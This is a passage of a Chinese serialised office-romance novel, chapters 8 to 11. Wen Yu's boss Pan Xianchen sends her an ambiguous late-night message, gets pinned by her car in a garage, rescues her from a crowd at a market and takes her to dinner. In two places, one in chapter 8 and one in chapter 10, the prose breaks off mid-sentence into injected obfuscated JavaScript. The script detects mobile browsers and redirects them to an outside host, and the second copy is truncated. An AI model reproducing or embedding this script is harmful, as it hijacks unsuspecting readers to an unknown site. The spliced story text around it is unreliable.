微信又叮咚响了一下,她被吓了一跳,以为叶一诺又要拿她开涮,结果不是——文钰真的吓到了,潘羡臣在下班后的私人时间,晚上九点多,给她发了一条不明意味的微信。 潘羡臣:你在干嘛? 8. 第 8 章 上午,集团公众号推新。叶一诺一边刷着手机,一边自言自语:“真好看。” 旁边女同事在泡咖啡,咖啡机出水的时候,她就凑过来看叶一诺手机,八卦道:“什么真好看?” “我拍的照片。” 女同事瞄了一眼,很快没兴趣了。咖啡机刚好停止,她把咖啡杯捧起来,倚在茶水区的吧台上,说:“还以为你看什么好东西呢,集团公众号啊,没劲。” 叶一诺瞪她一眼,心说:你懂个屁!好东西存她相机里呢,发出来吓死你! 回到办公室,叶一诺又捧着照片去找文钰邀功。文钰伏案低头,叶一诺忽然出现,把她吓了一跳。 叶一诺狐疑地盯着她,说:“在干什么亏心事啊?这么一惊一乍的?” “……是你女鬼一样好不好。” 叶一诺眯着眼睛盯了文钰三秒,啧啧道:“遮什么手机啊?有情况?” 文钰站起来,把挡路的叶一诺挪到旁边,一派正经地说道:“我们会不会太暧昧了。” 叶一诺扭头看她背影:“去哪儿呀?” “卫生间。” 文钰攥着手机朝女卫走,到了门口又没进去,绕了一圈又回工位去。 叶一诺已经坐回自己的座位,正低头刷手机。文钰也慢吞吞地拿起自己的手机,昨晚那条微信,她没回复。 她偏头看了下潘羡臣那个方向,办公室门敞开,偶尔有同事来往进出,但看不到他人。 成年人之间交流,装死也是一种明确的回答。 何况他有什么理由给她发这样的微信呢?她早就不是女高中生了,也早就不对异性的一些行为进行滤镜式美化。 文钰坐回座位。 不知过去多久,背后突然伸出一只手。 文钰一抖。 叶一诺:“……” “你干嘛啊?怎么又吓到了?真的心里有鬼?” “有你这个女鬼。” “我咋啦?我飘到你面前啦?” “你对我伸出鬼爪了!” 叶一诺吐舌头翻白眼,把双臂搭到文钰肩上:“你是说这样吗……” 文钰:“……” 文钰看了眼叶一诺掐到她脖子上的爪子,说:“请问你有事吗?” “有啊!” 叶一诺不装鬼了,跳到文钰面前,说:“我的饭搭子,饿饿,饭饭。” 她们一起坐电梯去楼上的员工食堂。 食堂十数个窗口都排起了长队,叶一诺拉着文钰挑挑选选,选了一个看起来队伍最短的去排。食堂空间很大,但现在吃饭的人很多,大家叽里呱啦地讲话,声浪一层叠一层,和一列列整齐又壮观的桌椅营造出拥挤的听视觉。 冷气虽开得低,但还是热。文钰身上冒着汗,感觉自己好像被丢进蜂巢了一样,嗡嗡嗡,嗡嗡嗡。 叶一诺也在她耳边嗡嗡,一会儿说今天有什么菜,一会儿说吃完去买瓶冷饮,一会儿又说快轮到了快轮到了。 “……” 文钰转头看她:“怎么不说了?” 叶一诺面朝队伍前面,手指悄悄往后面指了指。 她们后面早排了别的人,两个其他部门的男同事,不熟。再后面,居然是潘羡臣和严致闻。 稀客。 集团里这些领导有单独的餐厅,普通员工进不去。主管及以下级别的员工都来这个员工食堂,所以平时吃饭其实是见不到各位总的。 但偶尔,这些总也会下凡来体察一下民情,体验一下生活。 食堂负责人听到消息,急忙赶过来,很殷勤地说:“严总,潘总,我都不知道你们来了。怎么在这儿排队呢?我单独开个包间,把菜给你们送过去?” 严致闻笑笑:“要单独开包间,还来你这里吃?” 潘羡臣说:“我们自己打菜,一会儿随便找个空位,你不用管我们。” “那我带你们去前面打菜——” 潘羡臣:“我们排队,你去忙你的。” “……那好,严总,潘总,我先走,你们吃好喝好。” 严致闻还是笑,轻点了下头就继续和潘羡臣说话。他们声音不高不低,像在自己办公室里闲聊一样自得。 潘羡臣主要是听、笑、时不时回应严致闻的话。他的目光落在前面,可能看到了文钰,也可能没看到,文钰不确定。 她转回头,思考一会儿点什么菜。后面潘羡臣的说话声和笑声穿透厚厚的嗡嗡声,传到她耳朵里。 “……吃饭的时候聊起你,后来给你打电话,你没接……” “……昨天和朋友在清吧里聚,喝醉了,神智不清……” …… 文钰侧了侧头,有一搭没一搭地和叶一诺说话。 他昨晚喝醉了。 他神智不清。 文钰和叶一诺点好菜,端着盘子准备去找空位。路过潘羡臣和严致闻,她们打招呼。 严致闻看着两张年轻的脸,笑得很和蔼:“我记得你,你是羡臣手底下的人。昨天在报告厅汇报的,对吧?” 文钰点头:“是的,严总,我叫文钰。” 严致闻:“哦,文钰。” 严致闻一边笑一边看着文钰的脸点头,注意到她们端着餐盘,又说:“别站着了,快去吃吧。” 两个人和领导道别离开,叶一诺拽着文钰快走几步落座,呼出一口气说:“终于走了……跟这么大领导说话我压力好大!” 她拍完胸口又点评文钰:“你好淡定,是个人才!” 文钰笑了笑,回想着刚才的场景。严致闻好像因为一场汇报对她印象深刻,两句话里流露出对她的赞赏。潘羡臣好似事不关己地站在一边,旁观、冷静。 她觉得自己没有回复是正确的。 下午,彭雁交代部门内几个同事写材料,写好统一交给文钰汇总。 四点半,文钰把自己的部分写好,陆续又收到其他几个同事的,这时候,已经到五点了。彭雁临时有事,十五分钟前离开了。离开前,她特意吩咐文钰,汇总材料今天务必上交。 办公室渐渐空了,最后一个同事下班,边走边取笑文钰:“难得的画面啊!终于有一天比你早走了。” 文钰看了下腕表:五点二十。 她又回头看了看小郑的座位,空的。文钰微信私聊小郑:小郑,你材料写好了没?我要上交了。 十分钟后小郑回复:不好意思文钰姐,我同学从外地过来找我,我请他吃饭。吃完饭我马上回去! ? 文钰无语,她还饿着肚子呢,这个小郑先吃上了? 而且,他怎么忽然变正常了? 文小钰:那你快点哦![握手] 文钰取出蓝牙耳机戴上,靠在椅背上闭目养神。连续听了三首歌,她睁眼看看微信,问小郑回来了没,然后继续闭目听歌。 又两首歌后,她去上卫生间。回来时她发现整个办公区已经黑了,只有一个保洁在静静地拖地。 潘羡臣还没走,从他办公室泻出一地灯光。不过这一点也不稀奇,他总是加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270831|182287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班。 小郑还没有回来,微信也没回。 文钰退出和小郑的对话框,进入部门群。 文小钰:小郑你好好陪你同学吃饭吧,不用回办公室了。你那部分我先帮你写,怕领导等不及了。@小郑不正经 放下手机,文钰噼里啪啦打电脑。没几分钟,小郑私聊她:文钰姐……我现在就回来了……还有你干嘛发群里啊?私发我就好了。 文小钰:你没回我,我以为你微信坏掉了。 小郑不正经:…… 小郑不正经:我这不是没看到嘛!看到了我肯定会回你的呀! 文钰懒得理他。 将近七点,文钰把汇总好的材料发给彭雁,彭雁回她:我还在外面,你直接发给潘总。 文钰看了眼窗外,天完全暗了。路灯亮着,马路上车行徐徐,血红的车尾灯连成一片。确认发送后,文钰拎着车钥匙去停车场。 车热着,她没急着走。两分钟后,潘羡臣从电梯里出来。他的车就停在她旁边,文钰确认了一眼,是的,旁边是辆老旧的大众。 她想趁潘羡臣走近前开走,嘎吱一声——她车头擦结构柱上了。 文钰:“……” 她的车技没这么不好呀。都是因为她下班心切。 文钰降半窗瞥一眼,早上停车的时候离左边线很近,右边两个车位是空的,单位停车场总有空余,她没再挪车,就这么停着了。现在右边有辆车,方向盘多打了点儿,就这么撞上结构柱了。 她往回退了一点,潘羡臣走过来,敲敲她开了一半的窗。 “潘总。” 潘羡臣没注意到她车头的擦痕,目光定定地粘在文钰的脸上,文钰的职业假笑快维持不住,头皮没来由地发麻。 这时的潘羡臣沉着脸,眼神咄咄逼人。 他望着文钰粉饰太平的神色,想到她一整天一切如常地工作、吃饭、加班,顿觉自己好笑。现在也好笑,他要当豺狼虎豹?在这种时间、这种地方,堵一个女人干什么? 停车场里安静极了,空气里仿佛有灰尘的味道。很淡,好像把这里的时间沉淀了。 潘羡臣渐渐冷静下来,他垂下眼,盯着文钰一张一合的嘴。 “潘总,有什么事?” 潘羡臣扯扯嘴角:“你昨天为什么不回我微信?” “……” 文钰三秒后才反应过来,她不知道该怎么回答,不仅头皮发麻,心脏还一紧一紧的。 脚底一松,车子也开了出去,嘎吱—— 车头再次撞上结构柱,刚刚退回的一点缝隙又重新被挤兑,把潘羡臣压到车头和结构柱形成的锐角里。 文钰想补救,方向打了,车头又动,但这回一点回转的空间都没有,她的车头在结构柱上来回摩擦,车身在潘羡臣的身上也同样。 潘羡臣:“……” 文钰:“……” 潘羡臣无语地看着她:“你想夹死我?” “你先出去……” 文钰伸着脖子看前面,又转过头看后面。 潘羡臣好笑:“我怎么出去?” 文钰看他,潘羡臣被卡在一个独特的部位。 文钰:“……” “你要不回一下方向呢?”潘羡臣指导。 文钰照做,砰——她的车屁股撞得旁边那大众晃了两下,她的车严丝合缝地顶在了左结构柱和右大众之间。 文钰:“……” 潘羡臣:“……” 但是潘羡臣可以走出来了。 9. 第 9 章 文钰看着潘羡臣,潘羡臣看着文钰。 “下来。”他说。 文钰下车,把驾驶位让给潘羡臣。潘羡臣钻进去,先把座椅往后调了些,等他的两条腿能舒展开,他才替她把车挪出去。文钰看他动作十分老练,她的车子像泥鳅一样滑出去。 她的车没事了,文钰扭头,望了一眼无辜的大众。 啪的一声,车门合上。潘羡成下了车,走到自己的车旁。文钰跟过去,说:“潘总,现在给保险打电话吗?” 潘羡臣蹲下来,观察了一下车的伤势,又走到她的车前,弯腰摸了一下车头那道痕迹。 “不用了,小伤。”潘羡臣说,“自己维修吧。” “好的。那就各自维修,你的车花多少钱,到时候我付。” “好。” 文钰抿抿唇,不好意思地说:“对不起啊潘总,今天也太……” 太一言难尽了。 潘羡臣看她一眼,说:“没关系,你人没事就好。” “我没事我没事,”文钰说完,又问他,“你没事吧?” 潘羡臣没说话,但他那表情,又好像说了很多话。文钰不由自主地去看被她刮到的结构柱,那里留下一个浅浅的小坑。接着她又不由自主地看回来,视线滑下,落到那个独特的部位。 “还看?” 潘羡臣皱着眉,忽然觉得有点热起来。他似疼非疼的,但又不能做什么。 文钰回想起刚刚那画面,也觉得脸上热热的。还有他们那个夹死出去的对话,不能细想,一细想就觉得很不正经。 “回去吧。”潘羡臣说。 “好的,潘总再见。” 文钰先上了车,潘羡臣的车跟在她后面,出了停车场,又各自奔东西。 潘羡臣降下车窗,让晚风滑过他微热的脸。车载香水在冷气出风口那儿嵌着,幽幽的木质香被空调风送到他的鼻腔。电话铃响了好一会儿,他才听到似的,慢悠悠地接起来。 “在干什么?这么久才接爸爸电话?” “在开车。” “准备去接芊芊了?” “……”潘羡臣看了眼仪表盘上的时间,他忘了,今天是严芊芊回国的日子。 知子莫若父,潘庆立马问:“你是不是忘了?” “我刚刚撞车了。” 潘庆顿了一秒,急问:“严重吗?人受伤了?” 潘羡臣答:“人没事,车受轻伤。” “那就好,你别吓你爸。” “我一会儿就到家。” “不去接芊芊了?”潘庆咂摸出一点味道来,“……刚刚是在转移话题是吧?你真撞车了?” 潘羡臣:“……” 电话挂断,潘庆那句“你必须给我去接芊芊!你让一个小姑娘这么晚在机场你放心吗?!”还回荡在车里。 我有什么不放心的?潘羡臣想。他又瞄了眼时间,给严芊芊发微信:到了没? 芊万富翁:猪啊你!我还没上飞机! 潘羡臣:那你自己打车回。 芊万富翁:我爸说你会来接我啊?不会吧,你又要放我鸽子? 潘羡臣:太迟了,我要睡觉。 芊万富翁:??? 芊万富翁:除非你说你在陪你女朋友,否则你敢不来接我我就找潘叔叔告状! 凌晨三点,严芊芊从机场出来。寂静的路上零星停着几辆出租车,偶有疲惫的旅人拖着行李箱上车,砰砰两声关车后备箱和车门的声音仿佛是这片机场唯一的动静。 严芊芊从寒冷的地方回到炎夏,在马路牙子上站了一会儿就热得满头汗。她左顾右盼,怎么也找不到熟悉的人。 忽然,从后面驶上来一辆车,冲她嘀嘀按喇叭。 严芊芊吓一跳,往后退的时候差点摔倒。车窗降下来,潘羡臣的脸露出来,严芊芊立刻大骂:“神经!突然按喇叭!”她看了看潘羡臣的大众,更不满了:“这什么呀?我还以为是什么黑车。” 潘羡臣说:“爱坐不坐。” 嘴上很嫌弃,但身体还是坐进去了。严芊芊觉得再在热风里吹下去,她肯定要像个雪糕似的化了。 车里冷气很足,一下子把严芊芊吹得很舒适。这时她才有空嘲笑潘羡臣:“我就知道,你肯定找不到女朋友。” “你再这样,我就答应你爸。” “……什么?” “你爸想撮合我俩。” 严芊芊瞪圆了眼睛,好像听了天方夜谭一般大喊:“你年纪比我大那么多!我才不要!” “那你闭嘴。” “……” 车里安静了几分钟,然后响起了哒哒哒触碰手机键盘的声音。潘羡臣行车途中抽空看了严芊芊一眼,了然:“又在跟谁说我坏话?” “谁说你了!笑死。” 现在凌晨三点多,除了潘羡臣这个大冤种,严芊芊在国内认识的人都睡了。于是她只能在备忘录里破口大骂:老东西!老东西!老东西! 潘羡臣只睡了三个小时就去上班了。 市里几个领导要下来视察,严致闻让潘羡臣下午带他们去集团下市场转一转。上午,领导们就在会议室里开会。 大人物们都聚集在一起,下面办公室里就比较松快。叶一诺偷偷用手机看演唱会,旁边小郑早上来打了个卡就消失了。 彭雁走过来敲文钰的桌面:“走,去现场看看。” 招商部每月要和运营管理部等几个部门联合巡查市场一到两次,招商部重点关注战略级商户和问题区域。运营管理部对市场熟悉程度高,日常巡查都是他们负责,和招商部一起,他们主要是陪同。 文钰的车送去维修,她是打车来上班的,去市场彭雁开车,文钰坐在副驾驶。不过彭雁虽为文钰的直属领导,对这些细枝末节的事从不在意,她是实干派。 文钰刚到彭雁手下的时候,跟着彭雁跑现场总是带本子和笔,巡查途中观察到的现象和问题,她都细致记录下来。彭雁看过她的本子,详略得当,重点突出。 是好苗子,于是彭雁给她提建议:“本子和笔是老办法,是学生思维。现代科技产品众多,你要善于选择和利用。以后出来带笔但不用笔,用手机记。开会的时候用笔电。打字一定比写字快,删改调整都更方便。” 后来,文钰除了带上彭雁提醒的这些,还带一支录音笔。她私下特意去对比过专业录音笔和手机录音的优缺点——手机录音适合快速备忘,这个时代人人都有一部手机,使用起来更便捷;专业录音笔的麦克风质量、降噪能力、续航时间、存储容量等条件有各种选项,花一点钱能使用条件更好的设备,对文钰来说,是划算的。 她用的是索尼的产品。彭雁对她的主动思考和举一反三是很满意的。 文钰也觉得彭雁的领导模式很适合她,她们一天要巡查数个市场,路线要规划,从哪一站开始经过哪一站再去哪一站,结束一个马上下一个,中途不停留。文钰知道有些领导在巡查市场的时候会偷懒耍滑,和什么什么部门的负责人很熟啦,怎么怎么就去负责人办公室喝茶啦,下面的人就被晾在一边。可工作还是下面的人在干,这样效率太低,会推迟下班时间。 像彭雁这样,一个上午三个市场,速度是极快的。 中午,文钰照旧和彭雁在鲍大叔煲仔饭填肚子。下午,继续巡市场。 彭雁把车停下,走到市场12号门,早有人在那儿等她们。 “彭主管是吧?” “我是。你是……安保部的?”彭雁打量了他的工作服。 “对,领导让我来带你们去转转。” 彭雁不满,但也没说话。文钰瞧她的脸色,替她问:“运营部的人呢?” “我也不知道啊,没人告诉我啊。” “……” 他们说话间转到中庭。八层高的市场中庭顶上用了玻璃顶,保证了几个中庭都有充足的阳光,中庭四角种了椰子树、棕榈树之类,百国小国旗串成串,交叉错落地悬挂在头顶。 这个市场是外商友好市场,是本市重要的对外交流窗口之一,也是集团标志性的、重要的对外宣传口。 “安保部的……”彭雁站在一棵棕榈树下,眯起眼辨认对面工作服上的姓名牌。 “叫我老王就行了!” “好,老王。”彭雁说,“还是得让运营部的人来,我们要的数据,要了解的情况,你不知道。没有运营的同事在,我们工作没法完成。” “这……”老王挠挠头,为难道,“要不我再帮你们问问?” “麻烦你。”文钰说。 老王拿着手机稍走远些去打电话。 彭雁往前走了几步,视野更开阔,顺着电扶梯往上看,又转头去看另一边的直梯。这里来往人潮汹涌,直梯每趟上下几乎都是满的。接着她又自上而下快速扫过眼前的商户,最后视线停留在正前方。 “这就是运营部不在的原因。” 文钰也看到了——分管市场的领导正带着那几个市领导边走边介绍,路线中经过的商户都是老演员了,各个衣冠楚楚,脸上带笑,一派繁荣景象。 潘羡臣也在那群人中。 老王打完电话回来,说:“彭主管,运营部的人说今天很忙,实在抽不出人手……” 彭雁朝那边笑着点点头。老王话说一半看过去,那群领导的屁股后头跟着运营管理部的廖世辉,廖世辉也看到彭雁了,趁市领导在某商户前驻留时,他快步走过来打招呼。 彭雁也打招呼:“廖主管。” 廖世辉看看他们只有稀稀拉拉三个人,殷切地说:“怎么没人陪彭主管巡查啊?哎,本来我可以带你转一圈,实在是今天——”他一脸为难地往后看一眼。 “我理解。市领导视察是大事。”彭雁说。 廖世辉:“我让梦梦过来吧,市场这些事,她都懂的。” “谢 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吵架的是AB两商户,两家积怨已久。 A商户举报B商户恶意低价倾销同类商品,导致A商户利益受损。B商户懒得理A商户,只把生活和厨余垃圾一股脑儿扔到A商户门面去。A商户上门要说法,B商户死不承认,这里刚好又没有监控。A商户扬言要联合C商户D商户E商户F商户一起抗议,B商户嚣张道有本事你去呀你告到□□去呀,A商户一气之下跑到B商户门口叫骂。 午饭后开始的苗头,刚刚火山爆发。 梦梦拦住彭雁和文钰:“别往前走了,这些人吵起架来很没分寸的。我打电话喊安保部。” AB吵架的时候,周围一群吃瓜的,文钰看了眼,其中还真有两个阿姨在嗑瓜子。 “……好像说同样的东西,那个人故意便宜卖哦……” “这么恶心?那是要吵架的。我的话,你不让我好过,我也不让你好过咯!” “……卖那么便宜有赚头吗?” “便宜卖的那个好像是老总的什么亲戚,你说有赚头吗?……本来那几家铺,他是进不来的,还不是有后台?” “什么亲戚呀?” “你听呀,他们在吵——我感觉是哪个领导的小三。” “啧啧,这些人,每天穿西装的,背地里乱搞小三小四……” …… 越说越离谱了。 文钰往嗑瓜子的阿姨身后站,竖着耳朵听还有没有更离谱的。 “别吵了别吵了!今天商户群里都通知了,市里领导来了!你们还吵!” “就是要吵到领导面前呀,要听听我们老百姓的心声!” …… “领导已经来了!就在你们后面!” 数十双眼睛往后看,梦梦一惊,连连摆手:“啊?我?我不是领导呀!” “你不是领导谁是领导?你每天在这里巡逻的。你过来评评理呀!他们这么吵我们还要不要做生意啦?” 数十人挤来推去,梦梦像块肥肉一样被疯狗抢来夺去,嗑瓜子的阿姨喊:“梦梦又不是领导,她也只是个打工的。梦梦今天是来陪领导视察的,领导在这儿!” 躲在阿姨背后竖着耳朵的文钰:“……” 吵架的人也冲过来,气势汹汹地抓住文钰的手臂,彭雁挡他:“你一个大男人不要对小姑娘动手动脚的。” “你算老几?你是不是领导?” 彭雁重复:“别动手动脚。” “我就问你是不是领导!” 彭雁去拨他的手,这个男的力气很大,手臂一推,就把彭雁挡开了。文钰在他手里像件破衣服,被甩来甩去的。 安保部的人总算到了,一群大男人围着一群大男人,一圈绕一圈,一层裹一层,肉垫着肉,臭味熏着臭味。文钰和彭雁被冲开了,面前一大堵肉墙,彭雁和梦梦在外面着急,文钰在墙内被挤成肉饼。 她仰着脸,想呼吸上面的空气。 可是这些男的女的像一块块砖一样砌上来,似乎要完全堵死她才罢休。 她对抓着她手的男人呐喊,放了我,放了我。 没人听到。 她也怀疑自己到底有没有发出声音,忽然一时刻,所有声音好似都暗淡了,她耳鸣了。 混乱中,文钰感觉有人喊,够了够了……无数声够了像雷鸣般愠怒,轰隆轰隆从四面八方集聚成一团,沉沉的黑云压下、炸开,哗啦啦的雨像倾泻的瀑布,浇注在人的脚边。 “够了!” 文钰一激灵,耳朵听见了,雷霆万怒的呵斥。 人群迭呼、四散、奔逃。地面一层薄薄的水波浪。 文钰跪在地上,抬头去看——潘羡臣站在不远处,脸色是雷云过境的铁青。他一手提着高压水枪,一手向她伸来。 10. 第 10 章 沁凉的水贴着文钰的掌心,浸泡着她的长裤。高压水枪将裹紧她的人墙往四面八方冲散,人群此时被拆成几堆几堆,零散地、没有组织地、不成气候地分散在各个角落。 有的人被从头淋了个透心凉,有的人站得远只被溅湿了几滴……所有人都茫然、讶异,他们望着地板漫开的水浪,他们捂着自己湿透的头发,他们瞪着彼此。 太突然了。 刚刚那场风波忽然被一杆水枪平息了。 人群回神,眼睛们看向潘羡臣和他手里的高压水枪。愤怒的、奇怪的、吵吵嚷嚷的声音像去而复返的蝗群,嗡嗡地鸣起来。安保部的、物业部的、运营部的……在这里的几乎所有工作人员,一下子都出现了,他们拦着、挡住群众,去安抚,去解释,去说明。 潘羡臣把高压水枪扔下,去扶文钰。文钰撑着地面,试图自己站起来。潘羡臣疾走两步,趁文钰重新摔回之前,支撑住她的手臂。 软、细。像麦田里随风倒伏的麦秆,柔弱难承一击。 潘羡臣拧着眉:“为什么逞强?” 文钰说不出话。她以为自己能站,但右脚传来钻心的剧痛,让她连撑起身体都显得艰难。 潘羡臣发现了,收回力,只虚架着她,不再打算把她从地板上扯起来,于是他弯下腰去适应她跪坐的高度。 “脚怎么了?” “……可能……扭了。” “能站起来吗?” “我试试。” 文钰小心翼翼地直起腿,右脚如针刺刀割,她想倒,潘羡臣撑起了她,用胸口做她的支架。 “靠到我身上。”他说。 不用他吩咐,文钰右半边身体实在没力,她大半力气都撞到潘羡臣胸上。她很痛,冷汗唰的下来,生理性眼泪噙在眼眶,带着哭腔说:“不行,我站不起来。” “我抱你。” 文钰瞪眼看着潘羡臣蹲下去,彭雁这时赶过来,拦住潘羡臣说:“潘总,我来吧。” 潘羡臣抬头看了眼,彭雁和梦梦挡在他面前,梦梦一脸惊慌失措,显然工作多年也没见过如此场面,彭雁冷静许多,但她也没比文钰壮多少,个子还比文钰矮。 彭雁扶着文钰另一边,说:“潘总,这里闹得这么大,市领导那边怎么处理?他们还没走吧?” 她好意提醒他。 潘羡臣了解,仍然果断地把文钰抱起,边走边说:“她自己走不了。你们谁抱得动她?” 彭雁和梦梦一步不落地跟在后面,文钰天旋地转了一阵,眼前一花,再看清时,她已到了全新的高度。潘羡臣结实的手臂圈着她,坚硬的胸膛堵着她,让她感觉自己仿佛被装进了一个牢固的盒子里,很安全。 潘羡臣的呼吸在她头顶,一下又一下,很有力。 文钰觉得紧张,转头去找彭雁。彭雁被落在后面,于是小跑起来,没注意到这些。 “别乱动。”潘羡臣越走越快,出门前,他慢下脚步,一边等彭雁一边说,“你送她去医院,检查有没有骨折。这边的事我处理。你的车在哪里?” 彭雁带路,潘羡臣把文钰放进副驾驶,文钰的右脚轻磕到车门上,疼得她一抖。 “碰到了?”潘羡臣弓着腰,还没从车里出去,他看着文钰细眉轻蹙的模样,轻声道,“对不起。” “……没事。” 文钰垂着眼,不去看潘羡臣的脸。 离得近,潘羡臣看到文钰脸蛋上浅浅亮亮的两道泪痕,声音更轻更低:“怎么哭了?” 文钰拿手背擦了擦脸,也低声回:“忍不住。” 潘羡臣勾了勾唇,没说话。 彭雁陪着文钰排队、检查、取药。所幸文钰的右脚没有骨折,只是扭伤,但伤筋动骨一百天,医生说只能用喷雾药止痛和抗炎,不能治疗,慢慢养吧。 文钰请了一天假。隔日去上班,她拄着拐杖。 电梯到的时候,她怕人不等她,敲着拐杖快走了几步。潘羡臣从负一层上来,在电梯里替她按着开门键。 “你慢点。” “谢谢潘总。” 他们是同一层,潘羡臣已经按了。电梯里的人渐次走出去,潘羡臣低头看她的脚,问:“怎么样了?” 文钰答:“好一些了。” “要用拐杖?” “医生让我少走路。” 文钰一手撑拐,一手拿手机和叶一诺发微信。 千金:你今天来上班了吧?到了没?要不要我出来接你? 文小钰:不用了,我买了拐杖。 千金:啊??? 千金:这么严重吗?……虽然但是,我有点想笑…… 文小钰:…… 文小钰:有那么好笑吗? 文钰低头看了看自己的拐杖,又抬头看了看电梯壁上倒映出的影子。 不就是一个身负轻伤还坚持上班的励志形象吗?文钰不懂叶一诺的笑点。她反复观看自己与叶一诺的聊天记录,寻找刚刚她是不是一不小心讲了个笑话。 聊天框顶一下显示“对方正在输入”,一下显示叶一诺的昵称,来回数次,叶一诺后来干脆发了一条语音过来。 文钰点开:“好惨啊你……前几天车没了,现在脚也没了……你真的,我哭死。” 文钰:“……” 语气里一点也听不出觉得她惨的意思啊,叶一诺甚至又单独发了一段只有笑声没有说话的语音。 文钰:“……” 笑。 笑笑笑。 文钰偏头看潘羡臣:“潘总,你怎么也笑?” 潘羡臣收起上扬的嘴角,目光盈盈地看着她:“车没了,你怎么来的?有人送你吗?” “我打车。” 潘羡臣点点头,那就是没人接送了。 “你下班别急着走。” 下班不急是不可能的。文钰就算拄着拐杖,下班也依然走出了一阵风的架势。但右脚确实阻碍了她下班的速度,明明她是第一个从工位里站起来的人,最后却成了倒数第一个走出办公室的人。 文钰:“……” 叶一诺在前面回头:“真的不用我扶吗?” “不用。” 文钰站马路边打车。 此时是下班高峰,打车软件半天没人接单,好不容易接单一个,两百米外开过来居然要等十分钟!文钰吓得退了这单,点了下一单,下一单:距你150米,等待十五分钟。 文钰:“……” 还不如刚刚那个两百呢。 她叹口气,一边重新搜索附近车辆,一边望着路过的车和人。她站在一棵行道树下,前面是非机动车道,骑小电驴的和自行车的挤在一块儿,前后错落地停在原地等红灯。 绿灯。小电驴和自行车冲了出去。文钰看着他们,想到了迁徙的蚁群。 吱一声——有车很没素质地停在她面前。后面的美团骑手和饿了么骑手疯狂按喇叭,这是城市独有的交通堵塞进行曲,但也没有哪个敢从车隙里往前挤的,因为堵路的是辆迈巴赫。 迈巴赫副驾驶窗落下,文钰看到潘羡臣坐在驾驶位上,他对她说:“上车。送你。” 文钰微微弯腰,指指手机:“不用了潘总,我打车了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270833|182287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 潘羡臣说:“取消。快上车,后面人在骂我。” “……” 文钰上车后,迈巴赫轰了出去,没一会儿,就把后面的骂骂咧咧给甩远了。 车内播放着音量极低的轻音乐,车载香水是一只钢灰色的风车,夹在出风口处,顺着呼呼吹出的冷风匀速旋转。好像是雪松混杂佛手柑的木质香。 好闻。文钰感觉到舒适。 路口等红灯时,潘羡臣说:“不是让你下班等我吗?”他下午有事要出去一趟,办完事马不停蹄地回单位,偌大一个办公室,早就人走茶凉。他以为文钰已经走了,没想到车开出来,看到一个瘸子在路边揽车。 文钰说:“你没让我等你,你让我下班别急着走。” “……”潘羡臣看一眼她一本正经的样子,笑笑,“好,是我没说明白。” 绿灯,车开。 潘羡臣打方向盘,拐弯:“下次上我车能不能别这么扭捏,我第一次被这么多人骂。” “谁扭捏了?” “你。” “我怎么扭捏了?” “磨磨蹭蹭不肯上车。” “我哪知道是你?你不是开大众的吗?”文钰振振有词。 潘羡臣好笑地盯她一眼:“大众不是被你撞了吗?” “……” 文钰没那么振振有词了,小声了点说道:“哦,那个,你车去修了吧,多少钱,我还没转你呢。” “不用了,车卖了。” 啊? 文钰更加小小声:“就是因为被我撞了吗?” “嗯。” “……” 潘羡臣笑着说:“觉得不好意思就请我吃饭。” 文钰看了看顶配的车内饰,先试探:“员工食堂?” “你也太抠了吧。” 好吧。 “那你想吃什么?” 潘羡臣没答,把车开到一片用篱笆围着的建筑里,快速倒车停车熄火。 “走吧。” 文钰看着四周完全陌生的环境,忽然意识到这是潘羡臣一开始就定好的目的地。他让她上车,她就上了车,他没问她去哪儿,她也忘了说地址,他直接带她来到了这里。 好丝滑的连招。 潘羡臣下车绕到了文钰这一边,替她开车门,故意取笑她:“不会吧,下车也这么磨蹭?” 文钰轻飘飘地下车,脑子里还在复盘自己怎么就到了这儿。 “我朋友开的私房菜,没问题吧?” 文钰认命地说:“你定,反正是我请客就好了。” 这地方挺雅致的,先用竹篱笆圈了一块地,密密匝匝的竹叶提升了这里的隐私性,但又不像铜墙铁壁似的给人造成逼仄狭窄的感觉。风从竹叶缝隙里透过,阳光也一样。石砖切成嶙峋的模样,鳞次栉比地引出一条弯弯曲曲的小道,左旁挖坑放水种睡莲养锦鲤,右旁雕栏小桥竹林幽幽,有一种烟柳画桥的水乡意象。 潘羡臣轻车熟路地把文钰带进去,雅间早已备好,胡桃木长方桌,头顶吊着纸雕灯。窗户也是木质的,微微开缝,素色的纱帘被窗外风吹得鼓起,轻轻飘荡着很像波浪。正对窗的门居然是别致的圆洞造型,穿出走进时有误入古意园林的感觉。 “环境还可以?”潘羡臣用瓷壶给她倒水,“开这店的朋友叫宁铠,当初装修的时候,我给他提了建议。” “嗯。”文钰一边上下左右看,一边说,“和别人都不一样,挺特别的。” 宁铠这时候走进来,笑着看了眼潘羡臣,而后去打量文钰:“这位是谁呀?我怎么没见过?” 11. 第 11 章 宁铠拉开文钰旁边的椅子,大大咧咧地坐下。这桌是四人位,他一坐下,立马显得整桌都热闹起来。他左手放桌上,右手搭在椅子上,借这姿势正大光明地看文钰。 文钰也偏过头看他,桌上一领导加一领导朋友,她倒不怯场,大方地作自我介绍。 宁铠对她笑,热情地说:“我是老板,想吃什么随便点,今天我请客。” “不用不用,说好了我请的。”文钰说。 宁铠这才去看潘羡臣:“有没有搞错?你让女人请你?” 潘羡臣:“不行吗?” “行行行,是我不懂你们的情趣。”宁铠说完,又询问文钰,“那我让他们上菜单?” “好。” 